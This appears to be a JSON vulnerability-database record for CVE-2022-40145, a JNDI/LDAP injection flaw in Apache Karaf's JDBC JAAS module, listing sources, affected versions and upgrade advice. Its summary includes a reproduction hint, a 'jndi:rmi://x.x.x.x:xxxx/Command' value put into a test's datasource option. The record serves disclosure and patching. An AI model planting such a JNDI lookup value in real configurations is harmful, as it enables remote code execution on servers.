{
  "schemaVersion": 1,
  "attribution": [
    {
      "source": "CISA Known Exploited Vulnerabilities",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog",
      "licence": "US government work"
    },
    {
      "source": "GitHub Advisory Database",
      "url": "https://github.com/advisories",
      "licence": "CC BY 4.0"
    },
    {
      "source": "Have I Been Pwned",
      "url": "https://haveibeenpwned.com/",
      "licence": "CC BY 4.0"
    },
    {
      "source": "CVE Program (CVE records)",
      "url": "https://www.cve.org/Legal/TermsOfUse",
      "licence": "CVE Terms of Use",
      "notice": "Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation.",
      "terms": "CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy."
    },
    {
      "source": "FIRST EPSS",
      "url": "https://www.first.org/epss/",
      "licence": "free to use; FIRST requests attribution"
    }
  ],
  "record": {
    "id": "CVE-2022-40145",
    "sourceURL": "https://www.cve.org/CVERecord?id=CVE-2022-40145",
    "idYear": 2022,
    "status": "PUBLISHED",
    "publishedAt": "2022-12-21T15:23:42.847Z",
    "updatedAt": "2025-04-15T18:03:47.618Z",
    "importedAt": "2026-10-24T01:56:45.230Z",
    "snapshot": {
      "id": "cve_2026-10-24_midnight_baseline",
      "at": "2026-10-24T00:00:00.000Z",
      "source": "https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"
    },
    "facts": {
      "title": "Apache Karaf: JDBC JAAS LDAP injection",
      "summary": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8",
      "affected": [
        {
          "vendor": "Apache Software Foundation",
          "product": "Apache Karaf",
          "defaultStatus": "unaffected",
          "versions": [
            {
              "version": "4.4.0",
              "status": "affected",
              "versionType": "maven",
              "lessThan": "4.4.2"
            },
            {
              "version": "0",
              "status": "affected",
              "versionType": "maven",
              "lessThan": "4.3.8"
            }
          ]
        }
      ]
    }
  }
}